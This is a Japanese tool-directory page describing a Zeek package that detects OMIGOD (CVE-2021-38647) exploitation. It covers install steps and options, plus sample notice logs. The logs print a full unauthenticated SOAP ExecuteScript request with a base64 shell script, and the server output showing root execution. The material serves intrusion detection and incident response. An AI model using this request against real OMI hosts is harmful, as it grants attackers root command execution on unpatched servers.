Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-38647-noimages — CVE-2021-38647(OMIGOD)のエクスプロイト試行を検出するZeekパッケージ。OMI/WMIトラフィックを監視して、欠落したAuthorizationヘッダーと悪意のあるSOAPペイロードを検出します。設定可能なポートとインシデント対応トリアージデータ付き。 | Kitploit
ツール/GitHubGitHub/corelight/cve-2021-38647-noimages
脆弱性分析エクスプロイトネットワークセキュリティクラウドセキュリティ侵入検知インシデントレスポンス
GitHubcorelight/cve-2021-38647-noimages

CVE-2021-38647-noimages

CVE-2021-38647(OMIGOD)のエクスプロイト試行を検出するZeekパッケージ。OMI/WMIトラフィックを監視して、欠落したAuthorizationヘッダーと悪意のあるSOAPペイロードを検出します。設定可能なポートとインシデント対応トリアージデータ付き。

リポジトリを見る
32年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-38647 別名「OMIGOD」

CVE-2021-38647(別名 OMIGOD)のエクスプロイト試行を検出する Zeek パッケージです。

https://corelight.com/blog/detecting-cve-2021-38647-omigod
https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647

エクスプロイト

エクスプロイトは、Authorization ヘッダーを単に省略するだけです。要するに下の画像のとおりです。
エクスプロイト tl;dr

インストール

ライブ環境に Zeek パッケージとしてインストール
zkg install corelight/CVE-2021-38647 または直接 URL を使用します。
zkg install https://github.com/corelight/CVE-2021-38647/

既存の pcap に対して使用する場合
zeek -Cr scripts/__load__.zeek your.pcap

オプションと注意事項:

  • このパッケージは、クラスタ環境および非クラスタ環境で動作します。

  • omigod.zeek スクリプト内の設定可能なオプションは、以下の説明に従って、導入環境のニーズに合わせて変更できます。

  • TCP ポートは OMI が既定で提供するポートに設定されています。既定以外のポートは次のセットに追加してください。
    option OMI_ports = set(1270/tcp, 5985/tcp, 5986/tcp);

  • EXPLOIT_REQUEST および EXPLOIT_RESPONSE 通知の IR トリアージを支援するため、'sub' フィールドには通知内の最初の 'bytes_of_data_in_notice' バイトが含まれます。ペイロードをすべて収集するにはこの値を大きな数値に設定してください。デフォルトの 10000 であれば、関連するすべてのデータを取得するのに十分なはずです。
    option bytes_of_data_in_notice = 10000;

  • IR トリアージとハンティングを支援するため、別の通知 'EXPLOIT_ATTEMPT' には、クライアントヘッダー名と値が通知の 'sub' フィールドに含まれます。
    option raise_seperate_notice_for_missing_auth_header = T;

  • 自社のスキャナや正規システムによる誤検知を抑えるために、User-Agent ホワイトリストはごく控えめに使用してください。攻撃者はこのユーザーエージェントを簡単に偽装できることに注意してください。例:
    option user_agent_whitelist = /^Microsoft WinRM Client$/;

  • 例

    これらの通知は、最大冗長設定の例です。過度に冗長に見えるかもしれませんが、IR トリアージやハンティングに有用なデータが通知の 'sub' フィールドに含まれています。

    • EXPLOIT_ATTEMPT 通知は、比較的粗い粒度の攻撃判定条件を満たすリクエストのヘッダー名と値を提供します。これは保守的な通知であり、上記のとおり無効化できますが、インシデントレスポンス、脅威ハンティング、ルールチューニングのために、このデータを(pcap 内ではなく通知自体の中に)すぐ参照できる形で保持しておくと便利な場合があります。たとえば、この通知の有用な側面の 1 つは User-Agent です。エクスプロイト PoC はこれを適切にマスクしないことがあります。下記の例では UA は curl/7.52.1 であり、(ユースケースにもよりますが)正規に OMI サービスへアクセスする方法としては極めて異例である可能性があります。この EXPLOIT_ATTEMPT 通知の後には、さらに細かい指標に応じて EXPLOIT_REQUEST または EXPLOIT_RESPONSE 通知が続く場合と続かない場合があります。
    root@kitploit:~
    #separator \x09
    #set_separator  ,
    #empty_field    (empty)
    #unset_field    -
    #path   notice
    #open   2021-09-20-14-23-48
    #fields ts      uid     id.orig_h       id.orig_p       id.resp_h       id.resp_p       fuid    file_mime_type  file_desc       proto   note    msg     sub     src     dst     p       n       peer_descr      actions suppress_for    remote_location.country_code    remote_location.region  remote_location.city    remote_location.latitude        remote_location.longitude
    #types  time    string  addr    port    addr    port    string  string  string  enum    enum    string  string  addr    addr    port    count   string  set[enum]       interval        string  string  string  double  double
    1631859865.669975       CUoF9i1epohx0Xkycj      127.0.0.1       57592   127.0.0.1       5985    -       -       -       tcp     CVE_2021_38647::EXPLOIT_ATTEMPT A request to an OMI/WMI uri is missing the Authorization header, this is possibly a CVE-2021-38647 (AKA OMIGOD) exploit attempt. Refer to https://www.wiz.io/blog/secret-agent-exposes-azure-customers-to-unauthorized-code-execution, see sub field for raw data       headers= '{\x0a\x09[1] = [original_name=Host, name=HOST, value=127.0.0.1:5985],\x0a\x09[2] = [original_name=User-Agent, name=USER-AGENT, value=curl/7.52.1],\x0a\x09[3] = [original_name=Accept, name=ACCEPT, value=*/*],\x0a\x09[5] = [original_name=Content-Length, name=CONTENT-LENGTH, value=2035],\x0a\x09[6] = [original_name=Expect, name=EXPECT, value=100-continue],\x0a\x09[4] = [original_name=Content-Type, name=CONTENT-TYPE, value=application/soap+xml]\x0a}'    127.0.0.1       127.0.0.1       5985    -       -       Notice::ACTION_LOG      3600.000000     -       -       -       -       -
    
    • EXPLOIT_REQUEST 通知は POST リクエストのペイロードを示します。POST が大きい場合(下記のケースのように )複数の通知に分割されることがあります。
    root@kitploit:~
    #separator \x09
    #set_separator  ,
    #empty_field    (empty)
    #unset_field    -
    #path   notice
    #open   2021-09-20-14-23-48
    #fields ts      uid     id.orig_h       id.orig_p       id.resp_h       id.resp_p       fuid    file_mime_type  file_desc       proto   note    msg     sub     src     dst     p       n       peer_descr      actions suppress_for    remote_location.country_code    remote_location.region  remote_location.city    remote_location.latitude        remote_location.longitude
    #types  time    string  addr    port    addr    port    string  string  string  enum    enum    string  string  addr    addr    port    count   string  set[enum]       interval        string  string  string  double  double
    1631859866.672356       CUoF9i1epohx0Xkycj      127.0.0.1       57592   127.0.0.1       5985    -       -       -       tcp     CVE_2021_38647::EXPLOIT_REQUEST A REQUEST to an OMI/WMI uri has a missing Authorization header - this is possibly a CVE-2021-38647 (AKA OMIGOD) exploit. See sub of this notice field for the raw Request data. Refer to https://www.wiz.io/blog/secret-agent-exposes-azure-customers-to-unauthorized-code-execution    The first 10000 bytes of data = '<?xml version="1.0"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema" xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd">\x09  <s:Header>\x09\x09      <a:To>HTTP://127.0.0.1:5985/wsman/</a:To>\x09\x09          <w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI>\x09\x09\x09      <a:ReplyTo>\x09\x09\x09\x09            <a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>\x09\x09\x09\x09\x09        </a:ReplyTo>\x09\x09\x09\x09\x09\x09    <a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</a:Action>\x09\x09\x09\x09\x09\x09        <w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize>\x09\x09\x09\x09\x09\x09\x09    <a:MessageID>uuid:00B60932-CC01-0005-0000-313370010000</a:MessageID>\x09\x09\x09\x09\x09\x09\x09        <w:OperationTimeout>PT1M30S</w:OperationTimeout>\x09\x09\x09\x09\x09\x09\x09\x09    <w:Locale xml:lang="en-us" s:mustUnderstand="false"/>\x09\x09\x09\x09\x09\x09\x09\x09        <p:DataLocale xml:lang="en-us" s:mustUnderstand="false"/>\x09\x09\x09\x09\x09\x09\x09\x09\x09    <w:OptionSet s:mustUnderstand="true"/>\x09\x09\x09\x09\x09\x09\x09\x09\x09        <w:SelectorSet>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09      <w:Selector Name="__cimnamespace">root/scx</w:Selector>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09          </w:SelectorSet>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09    </s:Header>\x09\x09\x09'    127.0.0.1       127.0.0.1       5985    -       -       Notice::ACTION_LOG
          3600.000000     -       -       -       -       -```
    2 つ目の通知はペイロードを示しています。これは base64 エンコードされた文字列 `ZWNobyAiT01JR09EIGl0IHdvcmtzISINCmlkDQp1bmFtZQ0KZGF0ZQ0KZWNobyAiR29vZGJ5ZSINCg==` であり、以下のシェルスクリプトにデコードされます。
    
    

    echo "OMIGOD it works!" id uname date echo "Goodbye"

    root@kitploit:~

    #separator \x09 #set_separator , #empty_field (empty) #unset_field - #path notice #open 2021-09-20-14-23-48 #fields ts uid id.orig_h id.orig_p id.resp_h id.resp_p fuid file_mime_type file_desc proto note msg sub src dst p n peer_descr actions suppress_for remote_location.country_code remote_location.region remote_location.city remote_location.latitude remote_location.longitude #types time string addr port addr port string string string enum enum string string addr addr port count string set[enum] interval string string string double double 1631859866.672356 CUoF9i1epohx0Xkycj 127.0.0.1 57592 127.0.0.1 5985 - - - tcp CVE_2021_38647::EXPLOIT_REQUEST A REQUEST to an OMI/WMI uri has a missing Authorization header - this is possibly a CVE-2021-38647 (AKA OMIGOD) exploit. See sub of this notice field for the raw Request data. Refer to https://www.wiz.io/blog/secret-agent-exposes-azure-customers-to-unauthorized-code-execution The first 10000 bytes of data = '\x09\x09\x09\x09\x09\x09\x09\x09\x09 <s:Body>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09 <p:ExecuteScript_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09 <p:Script>ZWNobyAiT01JR09EIGl0IHdvcmtzISINCmlkDQp1bmFtZQ0KZGF0ZQ0KZWNobyAiR29vZGJ5ZSINCg==</p:Script>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09 <p:Arguments/>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09 <p:timeout>0</p:timeout>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09 <p:b64encoded>true</p:b64encoded>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09 </p:ExecuteScript_INPUT>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09 </s:Body>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09</s:Envelope>' 127.0.0.1 127.0.0.1 5985 - - Notice::ACTION_LOG 3600.000000 - - - - -

    root@kitploit:~
    
    - EXPLOIT_RESPONSE 通知には、サーバーから送信されたデータが含まれます。下記の例では、侵害されたデータはペイロードスクリプトの出力であり、次のようになります:    
    ``OMIGOD it works!&#10;uid=0(root) gid=0(root) groups=0(root)&#10;Linux&#10;Fri Sep 17 06:24:26 UTC 2021&#10;Goodbye&#10;``   
    

    #separator \x09 #set_separator , #empty_field (empty) #unset_field - #path notice #open 2021-09-20-14-23-48 #fields ts uid id.orig_h id.orig_p id.resp_h id.resp_p fuid file_mime_type file_desc proto note msg sub src dst p n peer_descr actions suppress_for remote_location.country_code remote_location.region remote_location.city remote_location.latitude remote_location.longitude #types time string addr port addr port string string string enum enum string string addr addr port count string set[enum] interval string string string double double 1631859866.680111 CUoF9i1epohx0Xkycj 127.0.0.1 57592 127.0.0.1 5985 - - - tcp CVE_2021_38647::EXPLOIT_RESPONSE A Server RESPONSE has been sent following a request to an OMI/WMI uri with a missing Authorization header - this is possibly a successful CVE-2021-38647 (AKA OMIGOD) exploit. See sub of this notice field for the raw Request data. Refer to https://www.wiz.io/blog/secret-agent-exposes-azure-customers-to-unauthorized-code-execution The first 10000 bytes of data = '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wsen="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:e="http://schemas.xmlsoap.org/ws/2004/08/eventing" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:wsmb="http://schemas.dmtf.org/wbem/wsman/1/cimbinding.xsd" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:wxf="http://schemas.xmlsoap.org/ws/2004/09/transfer" xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common" xmlns:msftwinrm="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd">SOAP-ENV:Headerwsa:Tohttp://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:To>wsa:Actionhttp://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</wsa:Action>wsa:MessageIDuuid:04F232DD-CC2A-0005-0000-000000210000</wsa:MessageID>wsa:RelatesTouuid:00B60932-CC01-0005-0000-313370010000</wsa:RelatesTo></SOAP-ENV:Header>SOAP-ENV:Body<p:SCX_OperatingSystem_OUTPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem"><p:ReturnValue>TRUE</p:ReturnValue><p:ReturnCode>0</p:ReturnCode><p:StdOut>OMIGOD it works! uid=0(root) gid=0(root) groups=0(root) Linux Fri Sep 17 06:24:26 UTC 2021 Goodbye </p:StdOut><p:StdErr></p:StdErr></p:SCX_OperatingSystem_OUTPUT></SOAP-ENV:Body></SOAP-ENV:Envelope>' 127.0.0.1 127.0.0.1 5985 - - Notice::ACTION_LOG 3600.000000 - - - - -

    root@kitploit:~
    ツールをダウンロード